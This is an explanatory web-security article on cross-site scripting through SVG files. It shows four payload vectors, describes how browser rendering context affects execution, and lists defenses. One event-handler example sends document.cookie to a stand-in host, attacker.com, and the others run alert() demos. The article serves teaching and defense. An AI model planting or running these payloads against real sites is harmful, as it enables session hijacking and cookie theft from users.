SVG XSS: How Malicious Scripts Execute in SVGs
Scalable Vector Graphics (SVG) are widely used for web graphics, but because they are XML-based documents, they can natively embed and execute code such as JavaScript. This article explains how un-sanitized SVG files serve as delivery mechanisms for Cross-Site Scripting (XSS) attacks, breaks down the primary injection vectors within the SVG syntax, details how browser rendering contexts affect execution, and outlines the essential methods for mitigating these security risks.
Why SVG Files Are Vulnerable to XSS
Unlike raster image formats like PNG, JPEG, or GIF, an SVG is an XML-based text document that describes two-dimensional vector graphics. Because modern browsers parse SVG files as standard Document Object Model (DOM) elements, SVGs support styling, animation, and interactivity through client-side scripts.
When a web application allows users to upload or embed un-sanitized SVG files, an attacker can insert malicious JavaScript into the XML markup. If the application renders the file directly in the DOM or serves it without restrictive headers, the browser executes the embedded script within the context of the user’s session, leading to Stored XSS.
Common Payloads and Execution Vectors
Attackers exploit the structural elements and attributes of SVG files in several distinct ways:
1. Direct <script>
Elements
Because SVG supports standard script tags, an attacker can embed JavaScript directly within the SVG body:
<svg xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">
alert(document.domain);
</script>
</svg>2. Inline Event Handlers
SVG elements support standard HTML and SVG-specific event handlers.
Attackers can attach events such as onload,
onerror, onmouseover, or onclick
to various tags:
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://attacker.com/steal?cookie=' + document.cookie)">
<rect width="100" height="100" fill="blue" />
</svg>3. Hyperlinks with
javascript: URIs
The SVG specification allows linking elements using
<a> tags with xlink:href or standard
href attributes. Attackers can set the destination to a
JavaScript pseudo-protocol:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<a xlink:href="javascript:alert(1)">
<text x="10" y="20">Click here</text>
</a>
</svg>4. The
<foreignObject> Element
The <foreignObject> element allows arbitrary HTML
markup to be embedded within an SVG. This enables attackers to inject
standard HTML-based XSS payloads:
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100%" height="100%">
<body xmlns="http://www.w3.org/1999/xhtml">
<img src="invalid-image" onerror="alert(1)" />
</body>
</foreignObject>
</svg>The Role of Browser Context
The execution of JavaScript within an SVG depends heavily on how the browser renders the file:
- Inline SVG
(
<svg>...<svg>): Embedded directly into the HTML page, scripts run immediately with full access to the hosting origin’s DOM and cookies. - Direct Navigation or
<iframe>: Navigating directly to an SVG file (e.g.,https://example.com/uploads/image.svg) opens it as a standalone document, allowing embedded scripts to run under the host domain. <img>Tag / CSS Backgrounds: When loaded via an<img src="image.svg">tag or as a CSSbackground-image, modern browsers disable script execution and external resource loading for security reasons.
How to Prevent SVG-Based XSS
To safely handle SVG uploads and rendering, implement the following defenses:
- Sanitize XML Content: Use a proven library such as
DOMPurify to strip
<script>,<foreignObject>, inline event handlers, andjavascript:URIs before saving or rendering the SVG. - Serve with Restrictive Headers: Serve user-uploaded
SVGs with the
Content-Disposition: attachmentheader to force downloads instead of inline browser execution. - Implement a Strict Content Security Policy (CSP):
Use headers such as
Content-Security-Policy: default-src 'none'; script-src 'none'on the domain serving media files. - Isolate on a Separate Domain: Host user-uploaded media on an isolated domain (e.g., a CDN or dedicated static asset domain) to prevent malicious scripts from accessing session tokens or sensitive data on the main application domain.
- Rasterize on Upload: If vector capability is not strictly necessary, convert uploaded SVG files to PNG or WebP formats on the server before storing and displaying them.